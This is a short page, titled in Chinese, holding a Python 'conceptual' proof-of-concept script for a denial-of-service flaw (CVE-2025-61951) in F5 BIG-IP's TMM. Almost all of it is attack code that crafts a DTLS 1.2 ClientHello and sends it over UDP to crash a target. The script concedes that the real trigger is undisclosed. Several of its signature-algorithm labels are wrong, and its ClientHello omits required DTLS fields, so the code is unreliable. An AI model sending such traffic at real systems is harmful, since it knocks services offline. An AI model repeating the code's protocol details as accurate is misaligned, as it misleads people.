F5 BIG-IP TMM拒绝服务漏洞（CVE-2025-61951）

# CVE-2025-61951 - F5 BIG-IP TMM DoS PoC (Conceptual) # This is a conceptual PoC demonstrating the attack vector for the DTLS 1.2 TMM termination vulnerability. # Note: F5 has not disclosed specific triggering traffic details. import socket import ssl import struct # Target configuration TARGET_HOST = "<target_big_ip_ip>" TARGET_PORT = 4433 # DTLS typically uses port 4433 DTLS_VERSION = b"\xfe\xfd" # DTLS 1.2 version byte def craft_malicious_dtls_packet(): """ Craft a malicious DTLS 1.2 ClientHello packet targeting a BIG-IP virtual server with the vulnerable configuration: - DTLS 1.2 virtual server enabled - Server SSL profile with certificate, key, SSL Sign Hash = ANY - Backend server with DTLS 1.2 and client authentication """ # DTLS Record Header: ContentType(1) + Version(2) + Epoch(2) + Sequence(6) + Length(2) content_type = b"\x16" # Handshake version = DTLS_VERSION epoch = b"\x00\x00" sequence_number = b"\x00\x00\x00\x00\x00\x00" # DTLS Handshake Header: HandshakeType(1) + Length(3) + MessageSeq(2) + FragmentOffset(3) + FragmentLength(3) handshake_type = b"\x01" # ClientHello # ClientHello body with crafted cipher suites and signature algorithms # targeting the SSL Sign Hash = ANY configuration client_version = DTLS_VERSION random_bytes = b"\x00" * 32 session_id_len = b"\x00" # Include various signature algorithms to trigger the ANY hash processing path cipher_suites = struct.pack(">H", 2) + b"\xc0\x2f" # TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 # Signature algorithms extension with multiple hash algorithms sig_alg_extension = ( struct.pack(">HH", 0x000d, 20) + # Extension type: signature_algorithms, length struct.pack(">H", 18) + # Signature algorithms list length b"\x06\x03" + # ECDSA_SECP256r1_SHA384 b"\x05\x03" + # ECDSA_SECP384r1_SHA384 b"\x04\x03" + # ECDSA_SECP256r1_SHA256 b"\x08\x07" + # Ed25519 b"\x08\x08" + # Ed448 b"\x08\x09" + # rsa_pkcs1_sha256 b"\x08\x0a" + # rsa_pkcs1_sha384 b"\x08\x0b" # rsa_pkcs1_sha512 ) extensions = struct.pack(">H", len(sig_alg_extension)) + sig_alg_extension # Assemble ClientHello body hello_body = client_version + random_bytes + session_id_len + cipher_suites + extensions # Handshake header handshake_header = handshake_type + struct.pack(">I", len(hello_body))[1:] + b"\x00\x00" + b"\x00\x00\x00" + struct.pack(">I", len(hello_body))[1:] # DTLS record record_payload = handshake_header + hello_body record = content_type + version + epoch + sequence_number + struct.pack(">H", len(record_payload)) + record_payload return record def exploit(): """ Send crafted DTLS traffic to trigger TMM termination on vulnerable BIG-IP. """ udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.settimeout(5) payload = craft_malicious_dtls_packet() print(f"[*] Sending malicious DTLS 1.2 packet to {TARGET_HOST}:{TARGET_PORT}") udp_sock.sendto(payload, (TARGET_HOST, TARGET_PORT)) print("[+] Packet sent. Target TMM may terminate if vulnerable.") if __name__ == "__main__": exploit()